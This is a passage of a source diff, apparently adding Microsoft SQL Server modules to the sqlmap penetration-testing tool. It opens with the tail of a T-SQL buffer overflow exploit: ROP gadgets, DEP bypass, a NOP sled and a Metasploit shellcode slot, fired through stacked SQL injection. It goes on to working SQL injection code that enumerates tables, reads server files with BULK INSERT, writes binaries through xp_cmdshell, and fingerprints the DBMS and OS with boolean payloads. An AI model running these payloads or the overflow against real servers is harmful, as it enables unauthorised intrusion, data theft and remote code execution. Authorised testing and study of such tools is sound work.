||||||
SET @counter = @counter + 1
|
|
||||||
IF @counter = 411
|
|
||||||
BEGIN
|
|
||||||
/* pointer to call [ecx+8] */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
/* push ebp, pop esp, ret 4 */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
/* push ecx, pop esp, pop ebp, retn 8 */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
/* Garbage */
|
|
||||||
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
|
||||||
|
|
||||||
/* retn 1c */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
/* retn 1c */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
/* anti DEP */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
/* jmp esp */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
/* jmp esp */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
||||||
|
|
||||||
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
|
||||||
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
|
||||||
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
|
||||||
|
|
||||||
/* Metasploit shellcode */
|
|
||||||
SET @buf = @buf + %s
|
|
||||||
|
|
||||||
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
|
||||||
SET @counter = @counter + 302
|
|
||||||
SET @val = CHAR(0x43)
|
|
||||||
CONTINUE
|
|
||||||
END
|
|
||||||
SET @buf = @buf + @val
|
|
||||||
END
|
|
||||||
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
|
||||||
EXEC master..sp_executesql @buf
|
|
||||||
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
|
||||||
|
|
||||||
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
|
||||||
self.spExploit = urlencode(self.spExploit, convall=True)
|
|
||||||
|
|
||||||
logger.info("triggering the buffer overflow vulnerability, wait..")
|
|
||||||
inject.goStacked(self.spExploit, silent=True)
|
|
51
plugins/dbms/mssqlserver/__init__.py
Normal file
51
plugins/dbms/mssqlserver/__init__.py
Normal file
|
@ -0,0 +1,51 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.mssqlserver.enumeration import Enumeration
|
||||||
|
from plugins.dbms.mssqlserver.filesystem import Filesystem
|
||||||
|
from plugins.dbms.mssqlserver.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.mssqlserver.syntax import Syntax
|
||||||
|
from plugins.dbms.mssqlserver.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
|
||||||
|
class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Microsoft SQL Server methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = MSSQL_SYSTEM_DBS
|
||||||
|
|
||||||
|
Syntax.__init__(self)
|
||||||
|
Fingerprint.__init__(self)
|
||||||
|
Enumeration.__init__(self)
|
||||||
|
Filesystem.__init__(self)
|
||||||
|
Miscellaneous.__init__(self)
|
||||||
|
Takeover.__init__(self)
|
||||||
|
|
||||||
|
unescaper.setUnescape(MSSQLServerMap.unescape)
|
117
plugins/dbms/mssqlserver/enumeration.py
Normal file
117
plugins/dbms/mssqlserver/enumeration.py
Normal file
|
@ -0,0 +1,117 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
|
from lib.request import inject
|
||||||
|
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def __init__(self):
|
||||||
|
GenericEnumeration.__init__(self, "Microsoft SQL Server")
|
||||||
|
|
||||||
|
def getPrivileges(self):
|
||||||
|
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
||||||
|
warnMsg += "database users privileges"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getTables(self):
|
||||||
|
infoMsg = "fetching tables"
|
||||||
|
if conf.db:
|
||||||
|
infoMsg += " for database '%s'" % conf.db
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
rootQuery = queries[kb.dbms].tables
|
||||||
|
|
||||||
|
if not conf.db:
|
||||||
|
if not len(kb.data.cachedDbs):
|
||||||
|
dbs = self.getDbs()
|
||||||
|
else:
|
||||||
|
dbs = kb.data.cachedDbs
|
||||||
|
else:
|
||||||
|
if "," in conf.db:
|
||||||
|
dbs = conf.db.split(",")
|
||||||
|
else:
|
||||||
|
dbs = [conf.db]
|
||||||
|
|
||||||
|
if kb.unionPosition:
|
||||||
|
for db in dbs:
|
||||||
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
|
infoMsg = "skipping system database '%s'" % db
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
continue
|
||||||
|
|
||||||
|
query = rootQuery["inband"]["query"] % db
|
||||||
|
value = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
|
if value:
|
||||||
|
kb.data.cachedTables[db] = value
|
||||||
|
|
||||||
|
if not kb.data.cachedTables:
|
||||||
|
for db in dbs:
|
||||||
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
|
infoMsg = "skipping system database '%s'" % db
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
continue
|
||||||
|
|
||||||
|
infoMsg = "fetching number of tables for "
|
||||||
|
infoMsg += "database '%s'" % db
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = rootQuery["blind"]["count"] % db
|
||||||
|
count = inject.getValue(query, inband=False, charsetType=2)
|
||||||
|
|
||||||
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
|
warnMsg = "unable to retrieve the number of "
|
||||||
|
warnMsg += "tables for database '%s'" % db
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
|
tables = []
|
||||||
|
|
||||||
|
for index in range(int(count)):
|
||||||
|
query = rootQuery["blind"]["query"] % (db, index, db)
|
||||||
|
table = inject.getValue(query, inband=False)
|
||||||
|
tables.append(table)
|
||||||
|
|
||||||
|
if tables:
|
||||||
|
kb.data.cachedTables[db] = tables
|
||||||
|
else:
|
||||||
|
warnMsg = "unable to retrieve the tables "
|
||||||
|
warnMsg += "for database '%s'" % db
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if not kb.data.cachedTables:
|
||||||
|
errMsg = "unable to retrieve the tables for any database"
|
||||||
|
raise sqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
|
return kb.data.cachedTables
|
217
plugins/dbms/mssqlserver/filesystem.py
Normal file
217
plugins/dbms/mssqlserver/filesystem.py
Normal file
|
@ -0,0 +1,217 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import getRange
|
||||||
|
from lib.core.common import posixToNtSlashes
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.convert import urlencode
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.request import inject
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
|
def unionReadFile(self, rFile):
|
||||||
|
errMsg = "Microsoft SQL Server does not support file reading "
|
||||||
|
errMsg += "with UNION query SQL injection technique"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def stackedReadFile(self, rFile):
|
||||||
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = []
|
||||||
|
txtTbl = self.fileTblName
|
||||||
|
hexTbl = "%shex" % self.fileTblName
|
||||||
|
|
||||||
|
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||||
|
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||||
|
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||||
|
|
||||||
|
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||||
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||||
|
|
||||||
|
# Reference: http://support.microsoft.com/kb/104829
|
||||||
|
binToHexQuery = """
|
||||||
|
DECLARE @charset VARCHAR(16)
|
||||||
|
DECLARE @counter INT
|
||||||
|
DECLARE @hexstr VARCHAR(4096)
|
||||||
|
DECLARE @length INT
|
||||||
|
DECLARE @chunk INT
|
||||||
|
|
||||||
|
SET @charset = '0123456789ABCDEF'
|
||||||
|
SET @counter = 1
|
||||||
|
SET @hexstr = ''
|
||||||
|
SET @length = (SELECT DATALENGTH(%s) FROM %s)
|
||||||
|
SET @chunk = 1024
|
||||||
|
|
||||||
|
WHILE (@counter <= @length)
|
||||||
|
BEGIN
|
||||||
|
DECLARE @tempint INT
|
||||||
|
DECLARE @firstint INT
|
||||||
|
DECLARE @secondint INT
|
||||||
|
|
||||||
|
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
|
||||||
|
SET @firstint = floor(@tempint/16)
|
||||||
|
SET @secondint = @tempint - (@firstint * 16)
|
||||||
|
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
|
||||||
|
|
||||||
|
SET @counter = @counter + 1
|
||||||
|
|
||||||
|
IF @counter %% @chunk = 0
|
||||||
|
BEGIN
|
||||||
|
INSERT INTO %s(%s) VALUES(@hexstr)
|
||||||
|
SET @hexstr = ''
|
||||||
|
END
|
||||||
|
END
|
||||||
|
|
||||||
|
IF @counter %% (@chunk) != 0
|
||||||
|
BEGIN
|
||||||
|
INSERT INTO %s(%s) VALUES(@hexstr)
|
||||||
|
END
|
||||||
|
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
|
||||||
|
|
||||||
|
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
|
||||||
|
binToHexQuery = urlencode(binToHexQuery, convall=True)
|
||||||
|
inject.goStacked(binToHexQuery)
|
||||||
|
|
||||||
|
if kb.unionPosition:
|
||||||
|
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
result = []
|
||||||
|
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
|
||||||
|
|
||||||
|
if not count.isdigit() or not len(count) or count == "0":
|
||||||
|
errMsg = "unable to retrieve the content of the "
|
||||||
|
errMsg += "file '%s'" % rFile
|
||||||
|
raise sqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
|
indexRange = getRange(count)
|
||||||
|
|
||||||
|
for index in indexRange:
|
||||||
|
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
|
||||||
|
result.append(chunk)
|
||||||
|
|
||||||
|
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
errMsg = "Microsoft SQL Server does not support file upload with "
|
||||||
|
errMsg += "UNION query SQL injection technique"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
# NOTE: this is needed here because we use xp_cmdshell extended
|
||||||
|
# procedure to write a file on the back-end Microsoft SQL Server
|
||||||
|
# file system. Maybe it won't be required to write text files
|
||||||
|
self.initEnv()
|
||||||
|
|
||||||
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
|
debugMsg = "going to use xp_cmdshell extended procedure to write "
|
||||||
|
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
debugSize = 0xFF00
|
||||||
|
tmpPath = posixToNtSlashes(conf.tmpPath)
|
||||||
|
dFileName = os.path.split(dFile)[1]
|
||||||
|
dFile = posixToNtSlashes(dFile)
|
||||||
|
wFileSize = os.path.getsize(wFile)
|
||||||
|
wFilePointer = open(wFile, "rb")
|
||||||
|
wFileContent = wFilePointer.read()
|
||||||
|
wFilePointer.close()
|
||||||
|
|
||||||
|
if wFileSize < debugSize:
|
||||||
|
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
||||||
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||||
|
|
||||||
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
|
|
||||||
|
commands = ("cd %s" % tmpPath,
|
||||||
|
"ren %s %s" % (chunkName, dFileName),
|
||||||
|
"move /Y %s %s" % (dFileName, dFile))
|
||||||
|
complComm = " & ".join(command for command in commands)
|
||||||
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
|
self.execCmd(forgedCmd)
|
||||||
|
|
||||||
|
else:
|
||||||
|
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
|
||||||
|
infoMsg += "bytes. sqlmap will split it into chunks, upload "
|
||||||
|
infoMsg += "them and recreate the original file out of the "
|
||||||
|
infoMsg += "binary chunks server-side, wait.."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
counter = 1
|
||||||
|
|
||||||
|
for i in range(0, wFileSize, debugSize):
|
||||||
|
wFileChunk = wFileContent[i:i + debugSize]
|
||||||
|
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
||||||
|
|
||||||
|
if i == 0:
|
||||||
|
infoMsg = "renaming chunk "
|
||||||
|
copyCmd = "ren %s %s" % (chunkName, dFileName)
|
||||||
|
else:
|
||||||
|
infoMsg = "appending chunk "
|
||||||
|
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
|
||||||
|
|
||||||
|
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
||||||
|
logger.debug(infoMsg)
|
||||||
|
|
||||||
|
commands = ("cd %s" % tmpPath,
|
||||||
|
copyCmd,
|
||||||
|
"del /F %s" % chunkName)
|
||||||
|
complComm = " & ".join(command for command in commands)
|
||||||
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
|
self.execCmd(forgedCmd)
|
||||||
|
|
||||||
|
logger.info("file chunk %d written" % counter)
|
||||||
|
|
||||||
|
counter += 1
|
||||||
|
|
||||||
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||||
|
|
||||||
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
|
|
||||||
|
commands = ("cd %s" % tmpPath,
|
||||||
|
"move /Y %s %s" % (dFileName, dFile))
|
||||||
|
complComm = " & ".join(command for command in commands)
|
||||||
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||||
|
|
||||||
|
self.execCmd(forgedCmd)
|
||||||
|
|
||||||
|
if confirm:
|
||||||
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
229
plugins/dbms/mssqlserver/fingerprint.py
Normal file
229
plugins/dbms/mssqlserver/fingerprint.py
Normal file
|
@ -0,0 +1,229 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import formatDBMSfp
|
||||||
|
from lib.core.common import formatFingerprint
|
||||||
|
from lib.core.common import getHtmlErrorFp
|
||||||
|
from lib.core.common import randomInt
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
actVer = formatDBMSfp()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += actVer
|
||||||
|
return value
|
||||||
|
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
|
||||||
|
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||||
|
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
|
||||||
|
|
||||||
|
if release and version and servicepack:
|
||||||
|
banVer = "Microsoft SQL Server %s " % release
|
||||||
|
banVer += "Service Pack %s " % servicepack
|
||||||
|
banVer += "version %s" % version
|
||||||
|
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = getHtmlErrorFp()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||||
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing Microsoft SQL Server"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming Microsoft SQL Server"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
for version in (0, 5, 8):
|
||||||
|
randInt = randomInt()
|
||||||
|
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
|
||||||
|
payload = agent.fullPayload(query)
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result:
|
||||||
|
if version == 8:
|
||||||
|
kb.dbmsVersion = ["2008"]
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif version == 5:
|
||||||
|
kb.dbmsVersion = ["2005"]
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif version == 0:
|
||||||
|
kb.dbmsVersion = ["2000"]
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
|
||||||
|
payload = agent.fullPayload(query)
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result:
|
||||||
|
kb.dbmsVersion = ["7.0"]
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if kb.dbmsVersion:
|
||||||
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||||
|
else:
|
||||||
|
setDbms("Microsoft SQL Server")
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def checkDbmsOs(self, detailed=False):
|
||||||
|
if kb.os and kb.osVersion and kb.osSP:
|
||||||
|
return
|
||||||
|
|
||||||
|
if not kb.os:
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
if not detailed:
|
||||||
|
return
|
||||||
|
|
||||||
|
infoMsg = "fingerprinting the back-end DBMS operating system "
|
||||||
|
infoMsg += "version and service pack"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
|
|
||||||
|
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||||
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||||
|
|
||||||
|
versions = { "2003": ("5.2", (2, 1)),
|
||||||
|
#"2003": ("6.0", (2, 1)),
|
||||||
|
"2008": ("7.0", (1,)),
|
||||||
|
"2000": ("5.0", (4, 3, 2, 1)),
|
||||||
|
"XP": ("5.1", (2, 1)),
|
||||||
|
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
|
||||||
|
|
||||||
|
# Get back-end DBMS underlying operating system version
|
||||||
|
for version, data in versions.items():
|
||||||
|
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||||
|
query += "LIKE '%Windows NT " + data[0] + "%')>0"
|
||||||
|
query = agent.forgeCaseStatement(query)
|
||||||
|
|
||||||
|
if inject.getValue(query, charsetType=1) == "1":
|
||||||
|
kb.osVersion = version
|
||||||
|
infoMsg += " %s" % kb.osVersion
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if not kb.osVersion:
|
||||||
|
kb.osVersion = "2003"
|
||||||
|
kb.osSP = 2
|
||||||
|
|
||||||
|
warnMsg = "unable to fingerprint the underlying operating "
|
||||||
|
warnMsg += "system version, assuming it is Windows "
|
||||||
|
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
# Get back-end DBMS underlying operating system service pack
|
||||||
|
sps = versions[kb.osVersion][1]
|
||||||
|
|
||||||
|
for sp in sps:
|
||||||
|
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||||
|
query += "LIKE '%Service Pack " + str(sp) + "%')>0"
|
||||||
|
query = agent.forgeCaseStatement(query)
|
||||||
|
|
||||||
|
